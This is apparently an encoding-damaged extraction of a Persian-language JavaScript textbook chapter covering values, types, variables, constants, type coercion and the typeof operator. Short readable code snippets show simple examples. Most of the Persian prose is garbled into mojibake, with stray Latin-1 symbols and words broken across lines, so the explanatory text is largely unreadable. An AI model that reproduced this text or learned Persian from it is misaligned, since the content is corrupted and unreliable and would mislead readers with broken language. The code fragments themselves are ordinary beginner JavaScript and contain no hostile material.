ک¶ کدها´
µº» ¿±» ½¼
ات
Þ
ر صف
³ µ
پ
±²¹º»¼
ن کدها´ جا
³»³
ر
»²
´ ق
»²
ب
Ï
شد
ϳ»³ ð
جی
²¸ ·
ر¼ش
ن
»
م·¸و
²±
¾ور ز
º³ ë±²
ز ط
» ì
پ
º ¼
د
Á
وش¾¶ شو
Á .
js
د
Á
سو
Å
با
ÆÝ¾
مس
Ʊ
ا
Ó Ú±
ر
³ µ
پ
±²¹º»¼
جا
ید:
Á
ا
ßÉ
¶ ¼½ گ
Þ
ر صف
³ »
ر
²æÁ ³
مور
µ
پ
±²¹º»¼
جا
Ʊ
ا
Ó
<script src=
”javascript-file-name.js”
></script>
»²
. چ
³²
ک
ϳ
¾فا
º» >
script
< û¸
ز
»
د
±
ا
ÎÁ µ
پ
±²¹º»¼
جا
ÆÝ¾
ها´ مس
Ʊ
ا
Ó ÆÃ»³
ر
³ ¶
ید ک
É
ک
µ
ق
³
HTML
ر زبان
³
script
û¸ ¼
د
ɾ
هس
µ
پ
±²¹º»¼
، جا
ÆÝ¾
ب¶ صورت مس
Ï
شد
³
ا
ß±» ´
ها
Ʊ
ا
Ó ¶
ک
:µº» ²±
ها´ ز
µ±×
´ م
»
ر
»³ ،µ
پ
±²¹º»¼
جا
ارج
Ã( ÆÝ¾
ها´ مس
Ʊ
ا
Ó
ز
» ϳ
¾فا
º» .³
ر
»³ ·ÉÕ
م
±
د.
Á
م·شو
»
جد
HTML
ز کدها´
» µ
پ
±²¹º»¼
کدها´ جا
±
م·شو
²¸
ان
º
¾¶ ¼ آ
Ó
ا
± ³
و
ÎÔ
ب
µ
پ
±²¹º»¼
ر´ کدها´ جا
»
د
ÔÌÁ ¿
ی
ÉãÈ
· ¼ ه
±
ا
Á»
و
Ã
±
ر´
»
بارگذ
µ
ع
²º ı»×Ó» î
¼ باع
Ï
شد
Ä
ک
²
¼رگ
²
م
óº
¸و
µ
پ
±²¹º»¼
جا
ÆÝ¾
ها´ مس
Ʊ
ا
Ó
هد شد.
»
و
à ½¼
ات
Þ
صف
¾رود
º
ر
²
ای¿ بخش ا·تظ
À
ع
¹²
ط
º
از
Á
پ
±
د
±
ا شو
É
ام¶ ¼ کد آش
Á²
ب
Ö
و
Ô
با مف
±
ام¶
Á²
ب
Ú± ·Â
¾ار ک
Ã
ا
º ¼ ¶¾Ã
آمو
»
· ر
Î
ال
ä
م
µ
پ
±²¹º»¼
ت جا
»
ار
Î
ت ¼ ع
»
¾ور
º³ ³
ر مور
³
ید.
º
ا
ÉÐ
ب
»
´ ر
²¸
کامپیو
±
ید.
É
ک
»
ید
Å ·
¼ج·ها´ آن آگاه
²Ã ¼
´ها
³¼
¶ با ¼ر
ä
ب
»
ر ر
³ ¼ ¶¾Ã
آمو
»
ام¶ ر
Á²
´ ب
»²
ج
» Ï
و
ÞÁ
±
یاز
Á ¼ ¶
ق
Í
با ع
éº
ا
ɾ
س· م
±
و
Á¶
ام
Á²
ب
ó
ی
Þ
ید م
Á»
¼ ب¾و
Ï
ا شد
É
ها´ کد آش
²Ìб»²±¼ Ö
و
Ô
با مف
ید.
É
¾خا½ ک
Á» »
ر
³
و
Ã
±
ید.
É
ک
Ø
ر
³ »
ر
Ï
وش¾¶ شد
Á ´
ام¶ها
Á²
ر ب
³
آنها
³²
ها ¼ کارب
²ÌÂÈ
ع
ê±²Õ¸
±
ید.
ÈÔ
بف
»
ط· ر
²
ت ش
»
ار
Î
آنها با ع
Ê
ا
θ
ر
» ¼
د
±
ا شو
É
ات کد آش
Õä
ها ¼ ق
Ø
و
Â
با ب
±
ید کدها´
Á»
¾¶ باشید ¼ ب¾و
Ã
آمو
»
ات ¼½ ر
Þ
ر صف
³ µ
پ
±²¹º»¼
ز کدها´ جا
» ϳ
¾فا
º» Ï
و
ÞÁ
ید.
É
ک
Ö
ا
õ³» ½¼
ات
Þ
با صف
»
ر
³
و
à µ
پ
±²¹º»¼
جا
================================================ FILE: HTML/32.html ================================================
================================================ FILE: HTML/33.html ================================================
بخش دوم
د´
±
ع د
±µ¶±
مقادیر و
ا¶½ا¼ بخش:
·»È
رک
À
ه و
ÈÉ
و
µ ½µ½ ʵ²
ن
µ
آش¸ای· با
آ¶
Á
ا
ÃË
و
º
به ی´دیگر و
½µ½ Á
ا
Ãʲ
ن
¹°
دی
»À
آش¸ای· با
Ì
ب
µ²À
ا و
Ã
یه
µº
یه مان¸د آ
²
ثان
½µ½ ʵ²
ن
µ Í
ری
À½
بر
º
رکا
Î ·Ï
م¿ر
Â
شان¸د
²Î
object
±²³
آش¸ای· با مف
ه
в
مرب
Á
ا
Ã
لگر
Ä
ا½یر و ع
Ñ
ه م
Ò
ای
Ñ
م
²
آش¸ای· با نح
¼ه به آ¶
Ò
ب
µ
و
ÓÈÃ
ا و مفا
Ã
ر
È
آش¸ای· با م¼غ
================================================ FILE: HTML/34.html ================================================
[
µ
د
²
ع د
²¶·²
گف¾¶ م·شو
)
Types
( ϳ»³ ç»
و
Á» ·
س
±
و
Á¶
ام
Á²
ب
ïÍä
ص
»
ر
³ ²±³
ا
Ý
م
ê¾
ها´ مخ
ı
ا
ÈÁ ¶
ب
ê±²Õ¸
ر آنها
³ ¶
¼لی
»
د ک¶ ب¶ صورت
Á
ر
»³ ³
´ ¼جو
»Ï³»³ ´
ها
ç
و
Á ê¾
س· مخ
±
و
Á¶
ام
Á²
ر زبانها´ ب
³
:µº» ²±
ز
ï²
ب¶ ش
)
Primitive
( ¶
¼لی
» ϳ»³ ç»
و
Á» ´»
ر
»³ µ
پ
±²¹º»¼
زبان جا
Ñ
ن مثا
»
و
É
د. ب¶ ع
Á»Ï
شد
±
اض·
±
یات ر
ÂÈ
¼ ع
³»
عد
» ´»²
ب
number
ϳ»³ ç
و
Á
±
ت
ÍÈ
ات ¼ ج
ÈÂ
ها، ک
²¾
ک
»
ر´ کار
»
د
ÔÌÁ
ا
± ı
ا
ÈÁ ´»²
ب
string
ϳ»³ ç
و
Á
±
´ ها
²
گی
Ù
ی
Èภ´»²
ب
false
¼
true
ر
»
د
Ý
¼ م
³ Æ
شام
boolean
ϳ»³ ç
و
Á
±
هد شد
»
و
à ϳ
· ز
±
ها
Ñ
مثا
Ö»
کد
²
ز ه
» ¶
م
»³»
ر
³ ¶
ک
null، undefined، object ϳ»³ ç
و
Á
¶ÂÈ
ز آن ج
» ¶
د ک
Á»Ï
· شد
Ó²Õ
م
µ
پ
±²¹º»¼
جا
6 ¶
سخ
Á
ز
» ¶
د ک
Á
ر
»³ ³
ی× ¼جو
Á ´»Ï³»³ ç»
و
Á» ¿
ی
ÉãÈ
ه
.³²
ک
Ï
شار
»
symbol
ϳ»³ ç
و
Á ¶
ن ب
»
م·¸و
ا ب¶
± ECMAScript6 Ö
ا
Á
ن آمد با
»
ب¶ مید
µ
ی
È
ه
» ×Ç
ت حا
»²
ک¶ با ¸÷یی
µ
پ
±²¹º»¼
جا
6 ¶
سخ
Á
ر
³ Ï
شد
ê±²Õ¸
د
±
جد
ϳ»³ ç»
و
Á» ¼
ژگ·ها
±¼
ز
» ϳ
¾فا
º»
ر زمان
³ ¼ ³
¾¶ م·شو
Ã
ا
É
ش
ES6
ار
à¾Ã»
ð
ی
Þ
کدها ص
³²¹ÂÈ
¸ا ع
³
شو
ϳ
¾فا
º» Ï
· شد
Á
ا
º
¼ز ر
²
ها´ ب
²
¼رگ
²
ز م
»
ا
Ⱦ
ک¶ ح
³
شو
µ
ق
³
د
±
آن با
ر
³ ·Â
ک
ƹ
ب¶ ش
µ
پ
±²¹º
ا
È
ک
» ¶Õ
¼ جام
µ
پ
±²¹º»¼
د جا
±
سخ¶ها´ جد
Á ¶
بوط¶ ب
²
م
î
اح
Î
باشد. م
هد شد.
»
و
à ϳ»³ Ä
وش
Å ´
د
Õ
ب
Ñ
و
àÓ
[
)Variables
(
ر¸ا
Ã
م¿غ
³
ام¶ مور
Á²
ر ب
³ ¶
ف· ک
¾
مخ
²±³
ا
Ý
ر¼´ م
²
ر´ ¼ کار ب
»
د
ÔÌÁ ´»²
س·، ب
±
و
Á¶
ام
Á²
ب
Ö
ا
ÌÉ
ر ه
³
د ک¶
Á²
ر م·گی
»²
ق
ϳ
¾فا
º» ³
ام¶ رزر¼ ¼ مور
Á²
ب
óº
¶ ¸و
æÓ
ز حا
» ·±
ها
ÆÞ
د م
Á²
ر م·گی
»²
ق
ϳ
¾فا
º»
ر´
»
د
ÔÌÁ ´
ا
ñÓ
ها
²
. م¾÷ی
³
م·شو
ϳ
¾فا
º» )
variable
( ²
م¾÷ی
Ö
ا
Á ¶
وم· ب
Ô
ز مف
» ²
م
» ¿±» ´»²
ب
ا´
ñÓ
ر
³ »
´ ر
²±³
ا
Ý
ام¶ م
Á²
´ ب
»²
ج
» Ö
ا
ÌÉ
ر ه
³ ¶
د ک
ɾ
هس
À
خ
Ð
ها´ م
Ö
ا
Á
· با
±
ها
Ï
د
Á
ر
»
د
ÔÌÁ ¼
µÂ
د ¼ ع
ÉÉ
ک
²
¸÷یی
»²
ج
» Ñ
ر طو
³ µº» ¿¹È
م
²±³
ا
Ý
¿ م
±» ،
د
ÉÉ
ر´ م·ک
»
د
ÔÌÁ ³
و
à ¶
ب
Ê
بو
²
¶ م
æÓ
حا
.µº» µÂ
ی¿ ع
È
ی× ب¶ ه
Á ²
ن م¾÷ی
»
و
É
ع
µÞ¸
ر´ آنها
»
گذ
Ö
ا
Á
³
و
Ã
ر
³ µº»
ر
»²
´ ک¶ ق
»Ï³»³ ç
و
Á
د
±
، با
²
م¾÷ی
Ú± ê±²Õ¸ Ö
ا
ÌÉ
س· ب¶ ه
±
و
Á¶
ام
Á²
· زبانها´ ب
ò
ر ب
³
ϲ
ی
Ãè ²
¿ م¾÷ی
±»
ر
³ »
ر
²Ì±³ ´»Ï³»³
ن
»
·¸و
ÈÁ ¶
ام
Á²
م¶ ب
»³»
ر
³ ¼ Ù
ی
É
ک
À
خ
Ð
ی× م
Á »
د ر
É
ک
ϲ
ی
Ãè
گف¾¶
)
Typing Static
(
س¾ا
±» ϳ»³ ç
و
Á
زبانها´ با
ً
حا
Íä
ص
» ·
س
±
و
Á¶
ام
Á²
ی¿ زبانها´ ب
É
. ب¶ چ
³²
ک
32
ر و ا¸·اع داد¶
±
د
²
مق
================================================ FILE: HTML/35.html ================================================
ϳ»³ ç»
و
Á»
ت
ͱ
د
θ ¼ ç
و
Á ²
ب¶ ¸÷یی
Ê
بو
²
اها´ م
äà ¶
ک
µº» ¿±»
ز زبانها
» ç
و
Á ¿±» µ±×
. م
³
م·شو
هد شد.
»
خو
Á ¶
ج
»
مو
ƹÐ
ام¶ با م
Á²
، ب
»²
ج
»
ر زمان
³ ¼ ³
م·شو
À
خ
Ð
شدن کد م
Ʊ
کامپا
Ö
ا
ÌÉ
ر ه
³
var
amount =
2000
;
amount = amount *
2
;
console
.log( amount );
// 4000
// convert `amount` to a string, and add ‘Toman’ to the end
amount =
String
( amount ) +
“ Toman”
;
console
.log( amount );
// “4000 Toman”
³
¼ عد
ϳ²
ک
²
ر آن ¸÷یی
»
د
Ý
م
ì
پ
º ¼ µº» 2000
ر
»
د
Ý
م
Æ
شام
amount
²
م¾÷ی
»
ب¾د
» ø
و
Ó Ñ
ر مثا
³
ç
و
Á
ز
» ·ÉÈ
ض
ϳ»³ ç
و
Á Ʊ
د
θ
console.log
ب¶
Ê
بو
²
¾ور م
º³ ¿
¼لی
»
ر
³ .³
¿ م·شو
±×̱
جا
4000
ارت
Î
ع
ı
ا
ÈÁ ´»²
د ب
Õ
¾ور ب
º³
ر
³ ¼ ³
شو
ϳ»³ ı
ا
ÈÁ ·
¼ج
²Ã
¸ا
³
م·شو
Ö
ا
ßÁ» ´»¶¾
´ ب¶ رش
³
عد
String
م¾د
ë±²
ز ط
»
amount
²
´ م¾÷ی
»²
ب
ð±²
ص
ϳ»³ ç
و
Á Ʊ
د
θ ´³
ر عد
»
د
Ý
ار م
É
ر ک
³ "
Toman
"
.µÓ²
هد گ
»
خو
Á
´ صورت
»Ï³»³ Ʊ
د
θ å
هی
console.log
ز
» Ö¼³
¾ور
º³
ر
³ ¿±»²
اب
É
¼ ب
³
م·شو
Ö
ا
ßÁ»
ر بی¿
³ ¼ ϳ²
ک
²
¶ ¸÷یی
θ²
¶ م
º
amount
²
ر م¾÷ی
»
د
Ý
م
ø
و
Ó Ñ
ر مثا
³
ید
É
م·ک
Ï
اهد
Ð
ور ک¶ م
äÁ
ا
È
ه
µ
پ
±²¹º»¼
ر زبان جا
³
ا
±
و
Šϳ»³ ç
و
Á µ
اصی
à Æ
لی
³ ¶
ب
ç
¿ موضو
±» ¶
ک
Ï
شد
Ö
ا
ßÁ» Ù
ه
ç
و
Á Ʊ
د
θ
آن
²
¸÷یی
Ö
ا
ÌÉ
ر ه
³
د
±
¼ با
µ
یس
Á
از
ß
· م
±
¾سا½ها
Á» ¿
ی
É
س¾ا چ
±» ϳ»³ ç
و
Á ´»
ر
»³ ´
ر زبانها
³ .µº»
شو
ê±²Õ¸ ´
د
±
جد
²
م¾÷ی
ϳ»³ ç
و
Á
»
ر´ ر
»
د
Ý
م
amount
²
ک¶ م¾÷ی
µº» ç
¿ موضو
±»
م¾وج¶ شد
ø
و
Ó Ñ
ز مثا
»
ن
»
´ ک¶ م·¸و
²Ì±³ ³
مور
سف¶
ÂÓ
ان
È
ه
ç
¿ موضو
±» ¼ µº» ²
¸÷یی
Ñ
ر حا
³ ¶
ام
Á²
´ ب
»²
ج
» Ñ
ام· طو
ȸ
ر
³ ¶
د ک
É
ر´ م·ک
»
د
ÔÌÁ
ام¶.
Á²
ب
)
state
( µ
حال
µ±²±
· مد
ÉÕ± ،µº» ²
م¾÷ی
Ö
و
Ô
مف
´»
ب¾د
»
ر
³ éÂõ» ¶
ک
槯 )
constants
(
ها
µ
اب
â
ن
»
و
É
ام¶ موضوع· با ع
Á²
ر ب
³
ها
²
م¾÷ی
²Ì±³ ³²
کارب
¼ ϳ²
ک
³
ر
»¼ ¶
ام
Á²
ر ب
³
ار
ι± »
ر´ ر
»
د
Ý
ک¶ م
µº» ¿±» µ
اب
â Ú± ê±²Õ¸
ز
» ò
د. هد
Á
م·شو
ê±²Õ¸
کد
ر باشد ب¶
»
د
Ý
آن م
²
یاز ب¶ ¸÷یی
Á ¶
ر صور¸· ک
³
¿ کار
±»
. با
Ù
ی
É
ک
ϳ
¾فا
º»
کد
ê¾
ها´ مخ
Ä
ر بخ
³
ر
³
ا
Ôɸ
ن
»
د م·¸و
ɾ
ر هس
»
د
Ý
آن م
Æ
· ک¶ شام
±
ها
²
ام· م¾÷ی
ȸ ²
کد ¼ ¸÷یی
Æ
و´ کام
ß¾
جا´ جس
.³»³ ²
¸÷یی
»
ر ر
»
د
Ý
ام¶ م
Á²
ر ب
³ Ï
شد
ê±²Õ¸ µ
اب
â Ú±
²¸¶¾
جس
²
ر کدها ب
³
د ¸ا
Á
وش¾¶ م· شو
Á ú
ب×ر
ò¼²
¼ با ح
1
snake_case
Úκ
با
°
و
ÈÕ
ها م
µ
اب
â
¾ار
Ã
ا
º ü
ا
Þ
ار´ ب¶ ل
Î
ج
» ¼ µº» ·
صول
» ·
س
±
و
Á
´ کد
»²
ب
³
ا
ÔÉÐ
ی
Å Ú±
ً
ا
Ó²
ص
ç
¿ موضو
±» ¶¾Î
ل
» .
د
Á
شو
یس
Á
آن
µ±
ر رعا
³
زبان
.¹ÑÑ
´ میک
¹
ج
àɲ±
ر´ با ز
Ê
ا
»Ð
ک
ÓÇ
¼ س
±´
در
1
33
¹
خ´ دو
µ
================================================ FILE: HTML/36.html ================================================
var
TAX_RATE =
0.10
;
// 10% sales tax
var
amount =
20
;
amount = amount *
2
;
amount = amount + (amount * TAX_RATE);
console
.log( amount );
// 44
Ú±
ق· با
²Ó å
هی
µ
اب
â ¿±» .µº» Ï
¾¶ شد
Ó²
گ
²æÁ
ر
³ µ
اب
â
ن
»
و
É
ب¶ ع
TAX_RATE
°
با
Ñ
ر مثا
³
رصد
³ ¶
ر صور¸· ک
³ .µº» ²
¸÷یی
Æ
ام¶ قاب
Á²
ز ب
» ·¾È
قس
²
ر ه
³
ر آن
»
د
Ý
¼ م
³
ر
»
د
Á ·
ول
ÈÕ
م
²
م¾÷ی
یاز
Á ¼ Ù
هی
³ ²
¸÷یی
»
ر
TAX_RATE
ک¶
µº» ·Ó
ا کا
Ôɸ
د
É
ک
²
زمان ¸÷یی
Ñ
ر طو
³
ب¶ مالیات
Ê
بو
²
م
ر
»
د
Á ³
´ ¼جو
²Ì±³ ²
ب¶ ¸÷یی
ب¶ جا´
const
ید´
Â
¶ ک
ÈÂ
ز ک
»
ها
µ
اب
â ê±²Õ¸ ´»²
ب
ES6
ن
»
و
É
با ع
µ
پ
±²¹º»¼
د جا
±
سخ¶ جد
Á
ر
³
م·شو
ϳ
¾فا
º»
var
const
TAX_RATE =
0.10
;
Ù
هی
»
م¶ بخو
»³»
ر
³ ¶
ر صور¸· ک
³ ¶
ک
µº» ¿±»
ر
³ ÆÎ
ق
Ñ
با مثا
Ñ
¿ مثا
±»
ر
³ Ï
شد
ê±²Õ¸ µ
اب
â
¸فا¼ت
ê±²Õ¸
ز
» á¼
¿ ر
±» .³»³
هد
»
خو
Á
ب¶ ما
»
¿ کار ر
±» Ï
جاز
» ¶
ام
Á²
ب
Ù
هی
³ ²
¸÷یی
»
ر
TAX_RATE
ر
»
د
Ý
م
ید،
É
م·ک
Ï
اهد
Ð
ور ک¶ م
äÁ
ا
È
. ه
槯
س¾ا
±» ϳ»³ ç
و
Á
ر زبانها´ با
³
ها
²
م¾÷ی
ê±²Õ¸ ¶
ی¶ ب
Î
ش
µ
اب
â
د.
É
´ ک
²
وگی
Â
´ ج
³
ا
±
¾¶ ز
Ã
ا
É
اش
Á ´
اها
äà ³
ا
ß±»
ز
»
د
Á»
م·¸و
ϳ»³ ç
و
Á
ز
» ϳ
¾فا
º»
Ö
ا
Á .³
د ب¶ آنها ¸وج¶ شو
±
ک¶ با
³
ر
»³ ³
عد´ ¼جو
»
قو
ب
»
ی¿ ¸و
ÉãÈ
¼ ه
(
ها
²
ر´ م¾÷ی
»
گذ
Ö
ا
Á ´»²
ب
ا´
ñ
ع
» ¶È
ه
Æ
د شام
Á»
م¶ م· ¸و
»³»
ر
³ ¼ ³
شو
ç¼²
ا _ ش
± $
ا
±
Z-A
ا
±
z-a
ò¼²
ز ح
» ·¹±
د با
±
با
²
م¾÷ی
µ
ی
È
ه
» ×Ç
ها حا
²
ر´ م¾÷ی
»
گذ
Ö
ا
Á
ر
³ ¶
´ ک
²Ì±³ ³
باشد. مور
)9
-
0( ³»
عد
» ϼÍÕ
ب
ø
و
Ó ´
وع¶ها
Èß
م
Ö
ا
Á ¼
ها
²
م¾÷ی
Ö
ا
Á
ن
»
و
É
ب¶ ع
µ
پ
±²¹º»¼
جا
óº
¸و
Ï
ید´ رزر¼ شد
Â
ات ک
ÈÂ
ز ک
»
ن
³²¹Á ϳ
¾فا
º» µº»
óº
د ک¶ ¸و
ɾ
ا¸· هس
ÈÂ
ک
µ
پ
±²¹º»¼
ر جا
³ Ï
ید´ رزر¼ شد
Â
ات ک
ÈÂ
. ک
槯 )
property
(
ژگ·ها
±¼
،
true
،
in
،
if
،
for
ات
ÈÂ
ن ب¶ ک
»
¶ م·¸و
ÂÈ
ز آن ج
» ¶
د ک
Á²
ر م·گی
»²
ق
ϳ
¾فا
º» ³
س· مور
±
و
Á¶
ام
Á²
زبان ب
Ѽ»
جد
Ä
ب¶ بخ
Ï
ید´ رزر¼ شد
Â
ات ک
ÈÂ
ز ک
» ·Â
کام
µ
لیس
Ï
اهد
Ð
´ م
»²
. ب
³²
ک
Ï
شار
» … ¼
null
،
false
ید.
É
¶ ک
Õ
ج
»²
ک¾ا½ م
ÙÇ
ا
È
¼ ض
[
یگر
¹
ه یک
³ µ
د
²
ع د
²¶·² Ó
ی
¹
ب
Á
ç
و
Á ¶
ب
»
آن ر
»
ب¾د
» ¶
ک
槯
یاز
Á ¶Þ
ر¼´ صف
²
ب
number
ϳ»³ ç
و
Á
ز
» ³
عد
ڱ ı
ا
ÈÁ ´»²
ب
گف¾¶ م·شو
)
coercion
(
ر
»²ä
ض
» µ
پ
±²¹º»¼
ر زبان جا
³ Ʊ
د
θ ¿±» ¶
. ب
Ù
ی
É
ک
Ʊ
د
θ
string
ϳ»³
34
ر و ا¸·اع داد¶
±
د
²
مق
================================================ FILE: HTML/37.html ================================================
ر
³ ،
د
±²
ی
Ì
ب
²æÁ
ر
³ ½¼ ¶Þ
ر صف
³ »
ر
Ö²Ó Ú± .³
م·شو
Ö
ا
ßÁ» ¶
اب
Ð
ی× ب¶ صورت م
Á ÆÈ
¿ ع
±» ì¹
ع
µÈº
ر
³ .
ید
É
¼ر م·ک
²º ¶
عات ب
Í
ط
» Ñ
ا
º
ر
» ¶
ب
Ö»
قد
» ¼ ϳ²
ک
³
ر
»¼ »
´ ر
³
عد
²±³
ا
Ý
دها م
Â
ی
Ó
ز
» ·¹±
یات
ÂÈ
ع
Ö
ا
ßÁ»
ز
» ÆÎ
د ق
±
با
Ï
شد
³
ر
»¼ ´»¶¾
ا ک¶ ب¶ صورت رش
È
ال· ش
º
ر
»
عات
Í
ط
» á
ز
»³²Å ´»²
¼ر ب
²º
Ö
ا
ßÁ»
number
ب¶
string
ز
» ϳ»³ Ʊ
د
θ ·ÉÕ± .³²
صورت گی
ϳ»³ Ʊ
د
θ ÆÈ
ر¼´ آن، ع
²
اض· ب
±
ر
.µº» Ï
¾¶ شد
Ó²
گ
²æÁ
ر
³ ·±
رها
»×
ب
»
ت
ͱ
د
θ ¿±» Ö
ا
ßÁ» ´»²
ب
µ
پ
±²¹º»¼
ر زبان جا
³.³
م·شو
´ مثا
»²
ب
var
a =
“42”
;
var
b =
Number
( a );
console
.log( a );
// “42”
console
.log( b );
// 42
هد.
³·
م
Ö
ا
ßÁ» »
´ ر
³
عد
ϳ»³ ç
و
Á ¶
ب
ê¾
مخ
ϳ»³ ç»
و
Á»
ز
» Ʊ
د
θ ð±²
ب¶ صورت ص
Number
ر
»×
ب
»
.³²
م·گی
Ö
ا
ßÁ» µ
پ
±²¹º»¼
جا
óº
¸و
ϳ
ا
º Í
¿ کار ب¶ صورت کام
±»
ید
É
ور ک¶ م·بی
äÁ
ا
È
ه
ب¶
ϳ»³ ç»
و
Á» Ʊ
د
θ ²Ì±³ ç
و
Á .µº» )
straight
( ð±²
ص
ç
و
Á
ز
» Ï
شد
Ö
ا
ßÁ» ç
و
Á Ʊ
د
θ ø
و
Ó Ñ
ر مثا
³
ر
»³ Ö
ا
Á )
implicit
( ·ÉÈ
ض
ç
و
Á Ʊ
د
θ ²Ì±
د
¹±
var
a =
“42”
;
var
b = a *
1
;
a;
// “42”
b;
// 42
·ÉÈ
ب¶ صورت ض
b
²
م¾÷ی
ê±²Õ¸ Ö
ا
ÌÉ
، ب¶ ه
number
ب¶
string
ز
»
a
²
م¾÷ی
ç
و
Á Ʊ
د
θ °
با
Ñ
ر مثا
³
.µº» ϳ»³ ý
ر
Ù±
ر
»³
د
à
ک¶ ق
µº» ·Á
زما
²Ì±
د
¹± ¶
ب
ϳ»³ ç»
و
Á»
ت
ͱ
د
θ
ر
³ ×
ی
ÌÁ»²
ب
îÞ
ز موضوعات ب
» ·¹±
Ʊ
د
θ ·ä±»²
ی¿ ش
É
ر چ
³ .Ù
ی
É
س¶ ک
±
ا
Ý
م
Ù
د، با ه
ɾ
هس
ê¾
مخ
ϳ»³ ç
و
Á ¼³
ز
» ¶
ک
»
ر´ ر
»
د
Ý
¼ م
³
²æÁ
ر
³ »
" ر
1" ¼ 1
ر
»
د
Ý
¼ م
³ Ñ
´ مثا
»²
. ب
³
م·شو
Ñ
ا
È
ع
» ·
س
±
و
Á¶
ام
Á²
زبان ب
óº
¸و
)ð±²
¶ ص
Á( ·ÉÈ
ض
ر
³ .µº»
string
ç
و
Á
ز
» ´²Ì±³ ¼
number
ç
و
Á
ز
» ·¹± ·
سان، ¼ل
¹± ²±³
ا
Ý
´ م
»
ر
»³ ¼³ ¿±» .
د
±²
ی
Ì
ب
ϳ»³ ç
و
Á
¸ا
³
م·شو
Ö
ا
ßÁ» ·ÉÈ
ض
ϳ»³ Ʊ
د
θ
ر
»
د
Ý
¼ م
³ ¿±» ¶
س
±
ا
Ý
م
Ö
ا
ÌÉ
ر ه
³ µ
پ
±²¹º»¼
زبان جا
ç
و
Á ·ÉÈ
ب¶ صورت ض
µ
پ
±²¹º»¼
== جا
²ÌÂÈ
ز ع
» ϳ
¾فا
º»
ر صورت
³ ¿±»²
اب
É
. ب
³
سان شو
¹± ¼³ ²
ه
.³»³
هد
»
و
Ã
ان
ÐÁ »
´ ر
³
ر عد
»
د
Ý
¼ م
³ ¶
س
±
ا
Ý
¶ م
ß
¾ی
Á ì
پ
º ¼ ϳ²
ک
Ʊ
د
θ
²´
د
À
ب¶
»
ر
²·¹
رشت
ϳ»³
µ
پ
±²¹º»¼
ر زبان جا
³ ·ÉÈ
ت ض
ͱ
د
θ ¶
د ک
É
چ
²
ک¶، ه
µº» ¿±» ³
د ب¶ آن ¸وج¶ شو
±
´ ک¶ با
»¶¾¹Á
35
¹
خ´ دو
µ
================================================ FILE: HTML/38.html ================================================
ر صور¸·
³
ز آنها
» ϳ
¾فا
º»
ما
» ،
د
ÉÉ
ک
²¸
ان
º
آ
»
سان ر
±
و
Á¶
ام
Á²
د ¸ا کار ب
Á»Ï
ح· شد
»²
ط
ò
¿ هد
±»
با
ام¶
Á²
ر کدها´ ب
³ Ñ
ا
¹
ش
»
¼ز
²
ا ¼ ب
äà ³
ا
ß±» î
باع
³
و
ÐÁ Ø
ر
³ ¼ ¶Õ
ال
ä
بوط¶ م
²
عد م
»
ی¿ ¼ قو
Á»
ک¶ قو
ز
» µ
پ
±²¹º»¼
سان جا
±
و
Á¶
ام
Á²
´ ب
»²
· ب
ÉÈ
ض
Ʊ
د
θ
عد
»
قو
ð
ی
Þ
ص
µÃ
ا
É
ش
Û
ق
»¼
ر
³ .
هد شد
»
و
Ã
.槯
ات
±
¼ر
²
ض
ϳ»³ ç
و
Á
ن
»
ز آن م·¸و
» ϳ
¾فا
º»
ک¶ با
³
ر
»³ ³
¼جو
typeof
Ö
ا
Á
´ با
²ÌÂÈ
ع
µ
پ
±²¹º»¼
ر زبان جا
³
:³²
ک
Ò»²
¾خ
º» »
ر ر
»
د
Ý
م
Ú± ¶
ب
Ê
بو
²
م
var
a;
typeof
a;
// “undefined”
a =
“hello world”
;
typeof
a;
// “string”
a =
42
;
typeof
a;
// “number”
a =
true
;
typeof
a;
// “boolean”
a =
null
;
typeof
a;
// “object”
a =
undefined
;
typeof
a;
// “undefined”
a = { b:
“c”
};
typeof
a;
// “object”
ÍÎ
ور ک¶ ق
äÁ
ا
È
¾¶ ه
Î
ل
» ¼( ³
هد بو
»
و
Ã
ر
»
د
Ý
م
6 ¿±»
ز
» ·¹± Ï
ر
»
و
È
ه
typeof
²ÌÂÈ
ز ع
» ·¾Ð
گ
²
ر ب
»
د
Ý
م
.)µº» Ï
· شد
Ó²Õ
م
ES6
ر
³ ×
ی
Á
symbol
ϳ»³ ç
و
Á ،
گف¾¶ شد
µ
پ
±²¹º»¼
ر جا
³ .
a
²
¶ م¾÷ی
Á ¼ µº»
a
²±³
ا
Ý
ب¶ م
Ê
بو
²
م
typeof
²ÌÂÈ
ک¶ ع
³
شو
µ
ق
³ ø
و
Ó Ñ
ر مثا
³
ر´
»
د
ÔÌÁ ´»²
· ب
ÂÞ
ن م
»
و
É
ا ب¶ ع
Ôɸ )
a
²
ا م¾÷ی
ßɱ»
ر
³(
ها
²
د ¼ م¾÷ی
É
م·باش
ç
و
Á ´»
ر
»³ ²±³
ا
Ý
ا م
Ôɸ
د.
ɾ
هس
²±³
ا
Ý
¿ م
±»
µº
ر
³
ا
Á ¶
ک
³
م·شو
ϳ»³ µÐ
گ
²
ب
object
ر
»
د
Ý
م
typeof null
³
´ مور
»²
ب
°
با
Ñ
ر مثا
³ ¿
ی
ÉãÈ
ه
µ
پ
±²¹º»¼
ا´ جا
Ô
¿ باگ
±²¸·È±
ز قد
» ú
¿ با
±» .µº»
null
ϳ»³ ç
و
Á ´»
ر
»³
null
ر
»
د
Ý
م
Û
ق
»¼
ر
³ .µº»
³
¿ مور
±» í
ا
º» ²
´ ب
³
ا
±
ک¶ کدها´ بسیار ز
»²
هد شد، چ
»
خو
Á ò²
ط
²
ی× ب
Á Ï
گا
å
هی
»²
ک¶ ظاه
槯
´³
ا
±
ها´ ز
ú
با
³
ا
ß±» î
باع
°
ا
Ⱦ
ح
» µ
پ
±²¹º»¼
د´ جا
Õ
سخ¶ها´ ب
Á
ر
³
آن
ÛÓ
د ¼ ر
Á»Ï
وش¾¶ شد
Á
هد شد.
»
و
Ã
²
حال¾· ک¶ م¾÷ی
Ñ
´ مثا
»²
، ب
µº» Ï
شد
²
ک
è ³
¼ مور
³ °
با
Ñ
ر مثا
³ undefined ϳ»³ ç
و
Á ³
ر مور
³
ها´
µ
. حال
³
م·شو
ϳ»³ µÎ
س
Á undefined
ر
»
د
Ý
ب¶ آن م
ً
ا
È
ی
ݾ
ا مس
± ¼ ³
م·شو
ê±²Õ¸
ر
»
د
Ý
بد¼ن م
36
ر و ا¸·اع داد¶
±
د
²
مق
================================================ FILE: HTML/39.html ================================================
å
· ک¶ هی
Õ
ب
»
¸و
Ñ
´ مثا
»²
د. ب
Á
شو
ù¾É
م
undefined
ر
»
د
Ý
ب¶ م
µº» ¿¹È
د ک¶ م
Á
ر
»³ ³
´ ¼جو
³
د
